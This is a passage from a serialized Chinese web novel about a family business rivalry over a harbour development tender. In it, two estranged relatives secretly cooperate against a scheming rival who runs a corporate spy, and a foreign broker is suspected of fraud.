贺朝阳假模假样地按下他的手机,气笑道:“嗨,这点事还用得着你出手吗?论实力、论资源,建盛比不上天峻?再说,他只是请李思维帮忙牵线,李家纯那老头子,绝对不会加入的……” 李家纯是李思维的父亲,宏发集团董事长,这人的特点:非常重男轻女。 他把LS酒店交给李思维打理,但始终没让李思维去宏发集团帮忙,有人问李家纯为什么,据说他当时回答:女人嘛,忙工作不如忙嫁人。集团的事,以后让女婿管吧。 陈一诺并没有被安慰到,负气道:“就算陈李两家真的联手,我们也能赢他们十条街,瞧不起谁呢?!” “说得好!”贺朝阳配合地叫好,眉开眼笑,又给他满上威士忌。 他举起酒杯:“那祝我们合作愉快!” 陈一诺装作还在气头上,没看他,短暂地跟他碰了一下。 喝完祝酒,贺朝阳继续道:“有你帮忙,我就有信心多了,但是吧……” 看对方欲言又止,陈一诺不耐烦地一掌拍在背上,声音巨响。 “都是一条船上的兄弟,有话直说,别婆婆妈妈的。” 贺朝阳咬牙忍疼,心里问候了陈一诺祖宗一万遍,缓了缓,才说:“以我对陈宗礼的理解,他除了方案,肯定还留了一手。譬如资源、人脉什么的,你能帮忙打听打听么……” 两杯威士忌下肚,陈一诺脸颊有些红,平日灵动的眼睛有些失焦,动作也慢了半拍,像一个没电的机器人,在机械思考贺朝阳话里的意思。 他脸上浮现出不耐烦的神情:“你让我打听?我跟陈宗礼现在的关系,只要我半只脚迈入天峻,能立刻引爆地雷你信不信?” 他话音一转,眼神暧昧看着贺朝阳,试探道:“你呢?没有安插在天峻的眼线么?” 贺朝阳上位者习惯了,为了哄陈一诺合作,用了前所未有的耐性。本想趁醉酒套他话,能套出陈宗礼的事最好,套不出至少能试探这两兄弟的虚实。没想到,被他一句反问,差点漏了馅。 他连忙巩固防线,摆手否认道:“没有,当然没有。我们建盛是正经集团,不做偷鸡摸狗的事。” 啧啧啧,瞎话真是张嘴就来,你鼻子长长了,你知道吗?!陈一诺心里骂。 眼看从陈一诺这边套不出什么话,贺朝阳也不紧逼:“陈宗礼那边我再想想办法打听,方案呢,我们分头想。放心,既然我们联手,建盛的资源肯定朝你们倾斜。” “但是……舆论上,需要制造一些你跟陈宗礼的负面新闻,你没意见吧?” 陈一诺继续装醉,喃喃问:“什么新闻?” “天峻是我们的主要竞争对手,现在你跟陈宗礼的关系已经闹得很僵,我们再加一把火,把你们不合的新闻拉到顶峰。” “然后,你在羽南港招标截止的当天报名,媒体肯定反应很大。提升羽南港关注的同时,也能给你涨涨人气。” 涨人气是假的,给陈宗礼添堵才是真的。 贺朝阳不亏是老狐狸,如意算盘打得啪啪响。最近天峻股价屡屡受挫,难得天峻宣布参加羽南港的消息利好一波。转头把陈一诺也参与竞标的消息散播出去,正好消解掉了。 像贺朝阳这种特别鸡贼的,估计还会把他跟建盛合作的事“不经意地”抖落出去。增加天峻的竞标压力。 陈一诺心里问候他祖宗,嘴上只是“哦哦”了两声,笑容里带着酒意上头的憨傻,说道:“没问题,你放手做!” 贺朝阳身体后靠,双手交叉喝着酒,意味深长地打量着他:“行啊……” …… 凌晨时分,贺朝阳让司机送陈一诺回酒店,沿途司机不时分神,从后视镜留意着陈一诺。 刚上车时,陈一诺还拿手机按两下,后来,就只闭眼靠着座椅,安安静静地仿佛睡着了。 抵达酒店,司机叫了三遍他的名字,陈一诺却一直昏睡着,还传来微弱的鼾声。 司机下车绕道后排,他打开车门,刚想开口喊人,发现陈一诺手机屏幕还亮着。 他瞥了陈一诺一眼,确定他还在熟睡,轻手轻脚拿起手机翻看着,很快又放了回去。 “恩?”陈一诺被吵醒,睡眼惺忪地看着眼前人,伸了个懒腰,问道:“到了么?” 司机做贼心虚地点头:“对,陈先生,需要我送你上房间吗?” 陈一诺摆摆手,擦着司机的肩下了车。他走得很慢,但尚且称得上一条直线,看他走进酒店大堂,司机拨通了电话。 司机:“二少爷,人已经送回酒店了。” 对面传来贺朝阳慵懒的声音:“有什么异常么?” 对方明显不只是司机,而是贺朝阳特别派来的眼线。 “我看了他手机,他跟陈宗礼的对话框是空的,短信、电话往来都没有,他们应该没有联系。” 贺朝阳淡淡应着知道了,挂断电话,嘴角轻蔑地上扬,半信半疑:“陈一诺跟陈宗礼,真的没有联系么?” …… “我哪敢跟你联系啊……” 酒店内,陈一诺从浴室出来,手拿着毛巾擦半干的头发,歪头用脖子夹着手机。 经过茶几时,另一台一模一样的手机在充电。 电话另一头,嗓音低沉,听着像深夜电台DJ独有的声线。 “还有你不敢的事?那么晚打给我,怎么了?” 陈一诺擦头发的手顿了顿,这才抬头看时间,发现已经凌晨两点:“不好意思,我时差还没调过来,想起来就打了,把你吵醒了?” 记忆中,陈宗礼很少在这个时间睡,难道年纪大开始早睡了? 陈宗礼低声笑笑:“没有。” 陈一诺把毛巾丢到酒店脏衣篓,趿着拖鞋回客厅沙发半躺着,打小报告似的:“今晚跟贺朝阳见面,他找人偷看我手机了。还好加了好友以后,我们一直没联系。最近,先用备用机跟你联系。” 陈宗礼嘴毒道:“贺朝阳跟你只是合作伙伴,不是恋爱对象,怎么还看手机,查岗啊?” 陈一诺手掌搭在脸上,无奈的笑声闷在手心里,刚刚喝完的酒还上头,整个脑袋头晕晕的,语气很放松。 “不止查岗,还爆料。” “他说,陈太子跟太子妃要联手,所以,迫不及待地邀请我入局。” 电话另一头,陈宗礼顿了顿,陈一诺的声音通过电波,有些发黏,听起来像在撒娇告状。 陈宗礼喉头滚动,问道:“太子妃?” 电话那头,陈一诺声音淡淡的:“说你让李思维推荐设计师名单,隔着半个地球还能秀恩爱。” 后面那句是陈一诺自己加的,突然玩心大发加了戏。 陈宗礼的语气听着却挺严肃:“那天,老太太跟秦伯母打麻将,刚好提起羽南港,秦伯母说思维有资源,能帮上忙,老太太才找到她的。” 说了半天,陈一诺只捉到一个重点:原来,陈宗礼叫她思维啊……怪甜的。 陈宗礼突然问:“你介意吗?” 陈一诺愣神片刻:“介意什么?” 陈宗礼声音温柔:“我们是合作方,未经你同意,找她帮忙,你介意吗?” 本来,从贺朝阳嘴里知道陈宗礼找李思维帮忙,陈一诺心里还有些不高心。现在陈宗礼一句你介意吗,他又好了。 他手指捏着手机,不自在地转个身:“有什么好介意的,这项目就是要请专业设计师。有资源干嘛不用?” 陈宗礼低笑:“那就好。” 陈一诺觉得有些热,把空调又调低了几度,继续道:“我想说的是,贺朝阳的消息来得太快了,昨天的事,他今天就知道了……” 从WeMall的泄露,到李思维的加入……对方似乎在天峻装了监控,消息泄漏得让人防不胜防。 “你记不记得,以前宗瑜有一件破洞毛衣。” 话题突然转走,陈宗礼没反应过来,还是应道:“被二婶骂了半天那件,怎么?” 陈宗瑜小时候爱打扮,不是公主裙那种风格的打扮,有段时间她钟爱摇滚风,浓妆、破洞毛衣、紧身衣、短裙……让她母亲非常头疼。港城冬天最冷也就几度,那衣服穿在身上跟luo着没差别。 陈一诺喃喃:“你们天峻现在跟那件破洞毛衣一样,像个漏风的筛子。接下来项目会越来越深入,坐以待毙可不行啊。” 原来在这儿等着呢。 作为天峻话事人的陈宗礼淡淡笑了,陈一诺都调侃到这种程度,确实不能手软。 他思索片刻,眼眸闪过严肃的光:“你说得对……” “既然如此,不如,我们将计就计。” 第28章 周五中午,恒福日料店里的工作人员正忙碌地为午市作准备。 日式长廊尽头的包间内,烟雾缭绕,贺朝阳坐在榻榻米上,状态松弛,他缓慢地吸一口烟,小臂搭在屈起的膝盖上。 对面坐着的人就没那么放松了,面前的热茶从冒烟到半凉,他一口没喝,面前的刺身也没动,身体僵直严正以待地,等着对面发话。 贺朝阳语气并不好:“工作日你跑来这里干什么?” 对面的人紧张道:“最……最近,突发状况有点多,我觉得面对面说比较清楚。” 贺朝阳三白眼挑起,睨着他:“什么突发状况?” “天峻内部成立了羽南港专项组……但我没在里面。” 贺朝阳骂道:“你搞砸了莫多里的收购,陈宗礼还敢用你?” “本来,天峻明明那么大的优势,陈宗礼还给你机会主谈判。结果,送到嘴边的肉都吃不下。白白被陈一诺那小子捡了漏。” 对面的厉冬低着头,双手用力在西装裤上捏出了折痕。 过去,他做事从来让贺朝阳满意,直到莫多里收购案。 贺朝阳作为HT的幕后金主,原计划让莫多里收购天峻的ATV,再让ZF下场阻碍收购。到时候,莫多里只能回头联系HT,收购价还不是随便开。 为保计划万无一失,贺朝阳不但在莫多里身边安插眼线,陈宗礼身边潜伏许久的厉冬也在一起发力。明明是好好的一招连环计,硬是被半路杀出的陈一诺抢了生意。 贺朝阳气不顺,厉冬就成了出气筒。 他第一次感受到,贺朝阳训话有多难听。厉冬理亏,只能认错:“二少,对不起,是我的错。” 贺朝阳仰着头,视线却看着他:“对不起三个字,最没用了。你不在羽南港的项目组,今天还来做什么?别告诉我,专程来说对不起……” 厉冬涨红着脸,慢慢道:“最近几天,陈宗礼和他妹妹常去四季酒店接一个人。而且,一招待就是一天。我怀疑,他们在秘密筹备什么事……” 他从公文包里掏出一瓶香水,推到桌子中央:“这是陈宗瑜拿回来的香水,说是客户送的见面礼。” 贺朝阳拆开包装,闻了闻,浓烈的沉香味混着辛辣,不是亚洲人喜欢的味道。 厉冬继续道:“我查了查,这是A国TML香水的情人节特别款,全球限量100支。” 贺朝阳放下香水,警惕道:“陈宗瑜怎么会把香水送你?” 厉冬:“这是一款男士香水,陈宗礼习惯用固定牌子的淡香水。整个总裁办又只有我一个男生,所以她给了我。但送这瓶香水的客户身份,还需要进一步确认。” 贺朝阳这才放下戒备,作为潜伏在陈宗礼身边最久的棋子,厉冬虽然年轻,却有着百里挑一的谨慎。 他点头:“知道了,我找人去四季酒店查查。” 厉冬继续道:“另外,李思维给陈宗礼推荐的几个设计师,最后,他选定了法籍建筑大师贝恩,他过去的设计风格我已经整理好了。” 虽然不在项目组,但该要的信息都收集到了,贺朝阳这才正眼瞧他。 他伸手收下对方递来的文件,轻轻拍着桌面。 厉冬喝完桌上的冷茶:“二少,我先走了。” “厉冬!”贺朝阳把他喊住,“你妹妹最近还好?” 厉冬身体突然紧绷:“还……还好……” “那就好。”贺朝阳不以为然地,“缺钱就说,港城的医生不好,送去国外医治也可以。” 厉冬用力攥着拳头,点头:“谢谢二少。” 贺朝阳睨着他:“羽南港对我很重要,你警醒点。莫多里的事不能发生第二次。” 厉冬抿着唇,回了句知道,躬身退出包间。 …… “Ellen,今晚的粤菜合口味吗?这是饭店的应季甜品陈皮绿豆沙。” 陈宗瑜边介绍,边给对方舀了一碗绵密的陈皮绿豆沙:“20年陈皮做的绿豆沙哦,消暑滋补。” 碧眼金发的外国人Ellen,接过绿豆沙,“不经意”地触碰陈宗瑜的手,笑道:“谢谢陈小姐,我一定好好品尝。” 陈宗瑜的笑容僵了一秒,又恢复了原有的灿烂,说道:“Ellen,你那20%的合作意向订金,能不能等我们把项目拿下来再支付呀。你放心,天峻对羽南港志在必得,一旦拿下羽南港,我们立刻跟贵司签署合作协议。” Ellen目光在陈宗瑜身上打量着:“陈小姐,我跟其他人合作,订金至少收40%,这几天跟你们相处下来,感觉到你们的诚意才特意给了20%的友情价。” “我们做中介咨询的也有难处。你们竞标需要附上我们的进驻清单,都是我们公司的核心资源。万一你们没拿下项目,拍拍屁股走了,清单上的企业资源已经暴露,我的处境,就像你们俗语说的……” “赔了夫人又折兵,我怎么跟内部交代呢?” 一时间,对话陷入僵局。 这几天,他们都在跟这个金发碧眼的外国人谈合作。这个Ellen是A国贵族后裔,家里有钱,人脉广,对世界地产非常熟悉。替A国不少区域做招商引资,手握一批高新科技公司的资源和成功案例。 虽然,zf项目在招商引资时,通常会成立专项小组负责。特别是世界500强,还能给予定向政策支持。但陈宗礼跟陈一诺都认为,如果利用中介优势,提前解决羽南港招商问题,对于这次竞标信心更大。 为了证明自己的实力,Ellen把自己手头的客户名单给他们看了一部分,甚至大大方方让天峻核实名单的真实性。 同时,现场连线远在A国的总公司,向他们一一介绍公司团队。 本来还有疑虑的陈宗瑜,慢慢深信不疑。于是,每天陪吃陪玩陪聊,不辞劳苦,就想打动Ellen,把合作谈下来。 到了临门一脚,要签备忘的空档,对方狮子大开口,要他们预缴20%诚意定金,否则免谈。 羽南港项目还只在方案策划阶段,支出那么大一笔钱,实在不合理。但他的资源又极度优渥。有他的助力,拿下羽南港的是他们的囊中物。 陈宗瑜软磨硬泡搞不定,只能把目光投向身旁的陈太子。对方懒懒靠着椅背手里握着茶杯,把一切看在眼里。 他没顺着她的话往下问,而是悠悠转了话题:“Ellen,下午还想去哪里?港城玩腻了还能出海。” Ellen不习惯陈皮的味道,喝了一口,就把绿豆沙放下,他擦擦嘴。 “陈先生,不麻烦了,我下午约了人。” 一句话,瞬间让陈宗瑜警铃大作。Ellen携带的资源对天峻而言非常重要。他来港城的行踪也很十分隐蔽,在港城又没有亲戚朋友,还能约什么人? 她刚想开口问Ellen:约了谁。 陈宗礼表情淡淡的抢先道:“我派司机送你过去?” 对方连忙摆手说:“不用不用……”做贼心虚似的,匆匆瞥了眼手上的绿水鬼,“时间差不多,我先走一步。” 看着外国人的背影,陈宗瑜瞪着无所谓的太子爷,着急道:“陈宗礼,你就这么让他走?我们被挖墙脚了,你不着急的??” “算了!索性答应他,20%就20%!先把人留下!” 太子爷装模作样地叹气:“唉……天要下雨,娘要嫁人,留不住的。” 陈宗瑜“啧”了声,心里骂着:追都懒得追,你留得住就有鬼了! 看太子爷靠不住,她一手拿起铂金包,踩着高跟鞋,火急火燎追上去。 太子爷看着陈宗瑜“哒哒哒”追人的背影,手机在手里转了一圈,慢一步跟上去。 …… 陈宗瑜小碎步跟在Ellen身后,发现饭店门外聚集了不少人,目光看过去,原来门口听了一辆非常骚的紫色劳斯莱斯。 据她所知,全港城有劳斯莱斯的富豪不少,骚紫色有且只有一辆——拥有港城半壁饮食业的贺朝阳。 这时,从劳斯莱斯里下来一个人。那人身高腿长,一头棕色卷发,嘴上挂着邪气的笑意,举手投足带着优雅的松弛感。他抬眼看见Ellen,立刻满面春风地打招呼。 “Hi,Ellen~” 陈宗瑜定在原地,没再往前走,喃喃:一诺哥哥?! 从陈一诺回港,到莫多里事件,再到陈家兄弟岚枫山赛车,他成了新闻里的常客,却让陈宗瑜感到陌生。她从没想过跟陈一诺的重逢,是在这样的场景。 让她意识到,她曾经的一诺哥哥,已经站到了对方阵营。 她看着陈一诺靠着车门跟Ellen有说有笑。刚刚站得挺拔,踩着七厘米高跟鞋去“捉奸”的气势瞬间泄了,只剩下无力与落寞。 陈宗礼不知何时走到她身旁,他们并肩看着门口的方向。 他低声道:“怎么还站着,不是去抢人?” 陈宗瑜有一双笑眼,此时瞪得大大的,看着骚紫色劳斯莱斯的方向,不敢过去。 她拽着陈宗礼的袖子:“是一诺哥哥。” “他长大了……更高更帅了。” 小姑娘从小就喜欢折腾人,陈宗礼冷心冷肺,不苟言笑,她不敢造次。后来,陈家多了陈一诺,她就把“魔抓”伸向他。 刚开始,她觉得陈一诺长相普通,没想到眼镜摘掉后,惊为天人。从此,她便开始对陈一诺进行“大改造”。把“厚瓶底”眼镜换成隐形眼镜,就是她的杰作之一。 陈一诺不喜欢研究时尚的东西,在认识Monica的老板阿墨之前,他的穿搭、造型全权交给陈宗瑜。加上他性格好,久而久之,两人不是亲兄妹胜似亲兄妹。 当年,陈一诺被送出国,陈宗瑜暗暗恨了陈宗礼很久。恨得只肯叫他全名,不肯叫一声哥。 陈宗礼看向她,打趣道:“他帅还是庄嘉轩帅?” 庄嘉轩是她心中的白月光,陈宗瑜脸有些红,解释道:“他们都不是一个类型,没有可比性。” 知道陈宗礼戏弄她,反将一军:“你还好意思说!他俩回来那么久,你没带我见过一次!!” 陈宗礼抬眼看向不远处,淡淡道:“走吧,现在就带你见人。” …… 陈宗礼推着妹妹往劳斯莱斯的方向走,朗声道:“哎哟,原来,约了Ellen的人是你啊?” Ellen没想到他们会跟出来,表情有些尴尬。陈一诺却很坦然,他低声让Ellen上车,自己站在车外双手揣兜,吊儿郎当地看着陈家两兄妹。 他淡淡道:“怎么?你们能约,我不能?” 陈宗礼冷着脸,语气里带着质问:“Ellen是我们先接触的,先来后到的规矩,不懂?” 陈一诺觉得好笑:“商场无父子,战场无兄弟,做生意,哪有那么多规矩?” “不过,太子爷含着金钥匙出生,特权用惯了,总觉得整个世界都要让着你……” 陈一诺脸色一沉:“我偏不。先是抢走莫多里,再撬你的人,很快,羽南港也是我的。” “你除了赢在起跑线,有什么了不起的?小心哪天,被嘴里的金钥匙噎死。” 陈一诺几句话,把现场气氛拉到冰点。 陈宗礼冷笑:“赢了一次收购,让你狂成这样?” “羽南港可是几百亿的生意,我好心提醒你提醒你,注意风险管理,别一不小心,死无葬身之地。” 双方对峙,你咒我噎死,我咒你死无葬身之地。双方剑拔弩张,大战一触即发。 陈宗瑜看两人气氛不对,连忙拉着陈宗礼后退一步,自己站在两人中间,说道:“一诺哥哥,你们有话好好说,行不行?” 陈一诺撇她一眼,眼神冷漠,仿佛在打量一个陌生人:“不好意思,我跟他没法好好说。” “砰——”转身上了副驾驶位关上车门,劳斯莱斯缓慢驶离饭店。 …… 车越来越远,陈一诺透过后视镜看向逐渐变小的陈家两兄妹,抿着嘴脸色发青。 后排传来贺朝阳的声音:“哎哟,别生气了。他那张嘴就是那么毒。” 陈一诺闷哼一声,嘴硬:“你哪只眼睛看见我生气了?他也配?” 贺朝阳大笑:“啧啧啧,所以说你牛逼呢。你刚刚说得真他妈好。他们这些长子长孙除了会投胎,还会什么?” 他给陈一诺递上一叠资料:“这些是建盛的设计师人选,给你留的都是拿过大奖,实力过关的。你看看能不能用,开始着手方案吧。” 陈一诺接过资料,看了几眼,一星集团是做互联网、传媒起家,对地产项目接触不多。但天峻定设计师的时候,他粗略看过李思维提供的设计师名单,他们的作品在全球都极具代表性。跟贺朝阳这些所谓“拿过大奖,实力过关”的设计师比,像是领域巨匠和毕业新手的差距。 光是这份名单,他就掂量出贺朝阳合作的诚意。 他把资料收回,装作无心工作:“回去再研究吧,现在去哪玩??” 贺朝阳很满意他的消极怠工,猥琐笑着说:“带你们去看些刺激的~” 男人的“刺激”有哪些,陈一诺用小脚趾想都知道,他没搭话,眼神黯了黯。 今天,贺朝阳突然把他喊出来,没说什么原因,也没说去哪里。直到车停在饭店门口,贺朝阳才说,今天是来挖陈宗礼的墙脚。 挖墙脚就挖,这狗东西自己躲在车上,让陈一诺亲自去接人。 陈一诺刚开始打马虎眼,嫌陈宗礼找来的人不知底细,让贺朝阳别浪费时间。贺朝阳这才跟他交底,说这个Ellen是有名的环球中介,手上有世界500强的资源,关系网非常牛。 陈一诺这才勉为其难答应了。 其实,他心里也清楚,挖人不过是幌子,贺朝阳多疑,想借这件事试探他跟陈宗礼的关系,这才是重点。 他没时间跟陈宗礼通风报信,还好对方反应够快,你来我往地演了一出针锋相对,暂时把贺朝阳唬住了。 他想起陈宗瑜适才落寞的眼神,咬紧后牙,心里念叨:贺朝阳这条毒蛇,确实不好对付。 第29章 骚紫色劳斯莱斯一骑绝尘,把陈家兄妹彻底甩在身后。 陈宗瑜精致的妆容掩盖不住失落。她“切”了声,埋怨道:“招呼都不打一个,这关系还不如陌生人。” 当年,陈一诺出国后,跟陈家所有人断了联系,陈宗瑜也姓陈,自然被划到了对面的阵营。刚开始陈宗瑜不相信,知道发消息时弹出:对方开启了朋友验证,你还不是他朋友。 陈宗礼垂眸看她,逗趣道:“人都说我们用惯特权,小心被金钥匙噎死,你还想往上凑?” 她虽然伤心,却心水很清:“他骂的是你,别带我……” 陈宗礼从小就没有孩子气,天生上位者的脾气。跟陈宗瑜并不亲近,她甚至有些怕陈宗礼,自然没多少温馨回忆。直到后来,陈一诺到了陈家,她才真正觉得自己有个哥哥。 突然,陈宗礼手机响起,陈宗瑜凑过去看,来电显示:庄嘉轩。 陈宗礼毫不犹豫摁掉了。 陈宗瑜翻了个白眼,骂道:“哎哎哎……你干嘛挂掉??我给他打,他还不接……他主动给你打,你还挂掉!” 陈宗礼惊讶道:“庄嘉轩不接你电话吗?”反手给庄嘉轩回拨,响了一下,对方就接了。 庄嘉轩:“喂!在哪儿呢,出来吃饭啊。” 听见庄嘉轩的声音,陈宗瑜立刻把耳朵贴到手机上。她做了个“OK”的手势,让陈宗礼答应。 陈宗礼轻笑了声,饶有兴致地成为他们play里的一环:“刚见了客户,你去哪儿?” 庄嘉轩想了想:“去揽星吃烧鹅怎么样?” 陈宗礼跟陈宗瑜对视一眼,回答:“行,我大概半小时到。” 挂掉电话,陈宗礼撇着她:“你去抓奸吧。” 陈宗瑜刚走一步,回头问:“你……你不去啊?” 陈宗礼交叉双手:“你刚刚不是埋怨我,见人没带你吗?一天实现你两个愿望了,还不去?” 陈宗瑜看看时间,半小时确实能到,但她又纠结:“那Ellen怎么办呀,没了他我们还能赢么?” 孤军作战的滋味,陈宗礼尝过很多次,这次心情却特别放松。 他松弛道:“既来之则安之,人已经被接走了,你晚点再联系看看呗……” 反正,演戏演全套。 …… 几天后,天峻集团总裁办办公室内,陈宗瑜看着手机发呆。 厉冬给她带了杯咖啡,凑过去:“瑜姐,又失恋了?茶饭不思的。” “什么叫又失恋?我恋都没恋过……不是感情的事。” 陈宗瑜扁嘴看着单机模式的对话框,失落道:“一个很重要的客人,忽然被对家半路撬走了。他已经三天没回我消息了……” 厉冬瞥了眼她的手机屏幕,陈宗瑜虽然情商在线,对付陈太子很有一手,但做事还是神经粗,连机密客户的名字都不备注,大大咧咧写着:Ellen。 厉冬收回目光,心里琢磨着,贺朝阳已经把人抢到手,悬着心总算放下了。可对陈宗瑜又隐隐有些过意不去。 这时,陈宗礼经过总裁办办公室,他敲敲门,探身进来,手机贴在耳边,陆续传来庄嘉轩中气十足的谩骂:“你放我鸽子就算了,还让她过来……你知道我多尴尬吗?有你这么卖兄弟的嘛?!” “对对对,就把你卖了!有事,再聊!” 他挂掉电话,看向陈宗瑜,简短吩咐:“下午3点的会取消,我有事出去一趟。” 陈宗瑜忍不住冲上去,拽着他的衣袖:“你有事?有什么事?” 太子爷看看她:“跟庄嘉轩无关的私事!” 陈宗瑜着急道:“没空跟你开玩笑!Ellen已经好几天没回我了!” “那天,我们就该直接跟他签约,20%订金直接甩他脸上,不就没有这些烦心事!好了吧,现在贺朝阳答应了付30%订金,今天要跟他签合作意向书!我们怎么办?” 陈宗礼挑眉,调侃道:“30%?那么有钱。” 陈宗瑜炸毛道:“你还说风凉话?!那天他说友情价,我还以为他骗人的!现在人要跑,我们不能坐以待毙吧?要不,我们现在去四季堵他,把人抢回来!还有不到一周就交方案,没了他我们输定了!” 太子爷歪头,疑惑道:“他不是跟贺朝阳签约了吗,我们还去抢什么?” 陈宗瑜震惊:“他那些世界500强的资源你不要了?!那羽南港怎么办?” 太子爷双手抱肩,难得流露出一丝痞气,轻轻松松道:“不要就不要咯。” 他们的对话声不小,办公室的人都听见了。办公室八卦谁不爱听,表面忙着工作,实际竖着耳朵在偷听摸鱼。 陈宗瑜拉着他往外走,难以置信道:“什么叫不要了?羽南港几百亿的生意,说不要就不要了?!” 她想起饭店门口,把Ellen接走的陈一诺,灵光乍现:“哦……你该不会又想让一诺哥哥吧?!” 太子爷没说话,这份罕见的沉默,在她眼里成了默认:“让了一次莫多里收购案还不够?!还想让第二次?!你别忘了,他是跟贺家联手……” 太子爷翘起手看她,不满道:“没让他,问题也不在他身上。是那个Ellen,他有问题。” 陈宗瑜瞪着大眼睛问道:“Ellen有什么问题?” “跨国诈/骗/犯听说过么?” 陈宗瑜怔愣着:“真的假的?不可能吧。” 回想起这段时间跟Ellen的相处,她喃喃:“公司资质法务看过没问题,我们还跟他总公司视频过,还有那些合作案例,你从哪儿来的消息啊?” 太子爷很自信:“你别管我哪来的消息,反正我不会跟他合作,更不想浪费时间和金钱在他身上。20%的订金,我给你还能听几段彩虹屁呢。” 陈宗瑜怔愣着:“那……我们要不要告诉一诺哥哥啊?万一他们跟骗子签了约,损失会很惨重哦……” 太子爷睨着她,带着看好戏的语气:“你去劝啊,看他信不信你。” …… “我当然信啊!” 恒福日料店包间内气氛正好,贺朝阳拉着陈一诺,一起跟Ellen敬酒。碰杯的力度过于猛烈,手指沾了酒液,凉凉的。 贺朝阳仰头饮尽,兴奋道:“要是没有你,我们哪来那么重要的企业入驻名单。不信你,还能信谁?!” Ellen喝得上脸,脖根到脸全是红的。他讥笑道:“跟你们做生意就是痛快,不像天峻,磨磨蹭蹭,讨价还价!一点预付都不肯给,不给钱就要我给资源,哪有那么便宜的事!” 陈一诺附和:“就是!陈宗礼这个人我了解,心眼太多。不像贺少,30%的预付,说签约就签约,说打钱立刻打钱!等方案做好,加上你这批高精尖企业的入驻名单,羽南港还不是囊中物!” Ellen被他们哄得开心,喝下清酒,满脸通红,抱着身边穿着和服的美人猛揩油。兴高采烈道:“没错没错,还是跟你们合作开心哈哈哈哈。” “叮叮——” 贺朝阳手机震动,他看了眼来电显示,让陈一诺继续招呼Ellen,自己离开了包间。 电话那头,传来厉冬的声音,像在跑步,听着很喘:“二少,你在恒福吗?我现在去找你。” 贺朝阳不想让陈一诺遇到厉冬,不耐烦道:“有事就直说,又跑过来干嘛?我要跟Ellen签合同了,没空。” 那边的人着急道:“别别别,你先别签,你等等我,5分钟!” 贺朝阳挂掉电话,包间门突然被拉开,陈一诺里面出来。他反手关门,把Ellen跟女生狎玩的嬉笑声关在身后。 陈一诺留意到他表情不妥,问道:“没事吧,Ellen等着你签合同呢。” 贺朝阳琢磨着厉冬电话里的劝诫,这人向来稳当,现在那么着急,肯定出问题了。 他有些犹豫:“签约,先等等……” 陈一诺内心咯噔一下,脸上直白地写着“我不明白”几个字。 不明所以地问道:“还等?等什么?” 厉冬没说具体的,贺朝阳也不敢猜。看看时间,厉冬差不多要到了,他只能唬弄道:“你先进去应付着Ellen,我待会过来。别让他看出情况。” 陈一诺识趣不纠缠,只叮嘱:“如果这个Ellen确实不对劲,不签也行,我这边也能弄到别的资源。” 陈一诺说得诚心,贺朝阳意味深长地看他一眼,没说话,拍拍他肩膀,大步流星往后院走去。 …… 恒福后院的角落处,厉冬气喘吁吁,他几乎是没命跑过来的,衬衫湿了大片贴在后背,透出肤色。 贺朝阳惦记着签约,不耐烦地催促道:“让你少往这边跑,万一被熟人看见怎么办?到底什么事!” 厉冬喘匀了气,才说:“二少,你不能跟Ellen签约!” “我听陈宗礼说,这个Ellen是跨国诈骗犯!天峻已经不打算跟Ellen合作了。所以,我才立刻赶过来通知你。” 贺朝阳没说话,脑子却转得飞快。 明明前几天,天峻还跟Ellen打得火热。没想到他们半路杀出,把Ellen抢了去。现在双方正准备签约,陈宗礼说Ellen是诈骗犯的消息就传过来了? 这也太巧了。 他审视着眼前人,问道:“口说无凭,陈宗礼有证据吗??” 厉冬懵了,他双手出汗,不停摩擦着裤子:“证据……他没透露,但你之前问我,为什么这几天陈宗礼对Ellen的态度有些不紧不慢……” “我思前想后,他应该是知道这个Ellen有问题,所以故意放慢手脚。” 说来说去,还是感觉,没有证据。 贺朝阳拍着他肩膀,冷笑道:“你还是年轻,太天真了。” “陈宗礼这个人,看似正人君子,实则腹黑心机,睚眦必报。嘴上说的一件事,心里却谋划着另一件,你跟着他一定要留个心眼,别他说什么你都信,保不齐他早怀疑你,在诈你呢……” 就像当年,他跟陈一诺打的那一架。本来都记过处理,因为贺朝风一句不公平,陈宗礼毫不犹豫地退让。嘴上说赞成让陈一诺记过,贺朝阳抄写100次张贴公告栏。 看似贺朝阳占了便宜,实际上,他的惩罚方式比记过狠一千倍、一万倍。 那年,陈宗礼给他的教训,贺朝阳一点不敢忘。 这次也一样,他说Ellen是诈骗犯就是诈骗犯?确凿的证据一个没有,凭什么让我信他? 厉冬锲而不舍:“二少,你再认真考虑考虑吧。” “陈宗礼说这话的时候,陈宗瑜也在场,他们的对话非常自然,陈宗礼不会连自己妹妹都骗吧。” 贺朝阳冷哼一声:“当年跟陈一诺好得裤子穿一条,大难临头还不是把人说扔就扔?他这人心狠手辣,有什么干不出来的?” “前几天,他跟Ellen相谈甚欢的时候,怎么不说他是诈骗犯,到我准备签约,他说人家是诈骗犯。” “防人之心不可无。” 贺朝阳这么说好像有道理,但厉冬还是有种不好的预感,他劝道:“可是……万一陈宗礼真的说对了呢?” 贺朝阳冷笑:“万一他真是诈我呢?” 厉冬低头,贺朝阳认准的事,不会改,他就没再反驳。 …… 打发走了厉冬,贺朝阳重新回到包间。他拉开门,视线第一时间看向Ellen。 那边Ellen双手拍着合同,嚷道:“总算回来了?!我以为你跑了呢!别磨蹭了,赶快把合约签了!” Ellen旁边的陈一诺自然地跟他对视,估计被灌了不少酒,陈一诺那双眼睛冽艳含着水,眼尾泛红,眼神朦朦胧胧的。 贺朝阳仰头喝了一杯,目光悠悠看着陈一诺,满脑子都是陈宗礼的事。 如果Ellen是诈骗犯,他跟人签了合约,大不了损失百来万订金。但如果,他因为信了陈宗礼的话,把Ellen当成“诈骗犯”取消合作。回头陈宗礼捡漏跟Ellen签合同,岂不是把几百亿的羽南港拱手让人了? 百万对百亿,孰轻孰重,显而易见吧? 贺朝阳把心一横,喊道:“签!”—— 作者有话说:往后发布时间都是早上8点左右,日更哈~[让我康康] 第30章 作为全港备受瞩目的开发项目,羽南港项目从发布招标公示起就备受关注。好不容易到了竞标当天,热闹程度依然远超预期。 媒体第一时间收到天峻和建盛参与竞标的消息。两大集团自然成为中标呼声最高的两家。原本所有关注焦点,都在陈、贺两家之争。殊不知,在招标截止最后一天,天降黑马——陈一诺的一星集团提交竞标报名,正式参与羽南港开发项目的角逐。 舆论瞬间炸了,大家的关注点从单纯的“谁能拿下羽南港”变成“陈家兄弟又又又杠上了”! 竞标现场,港城政府厅外,围满了记者,除了常规的新闻、财经记者,还蹲守了不少娱乐记者。大家长枪短炮,严阵以待,就等着捕捉“陈家兄弟”同框的经典瞬间。 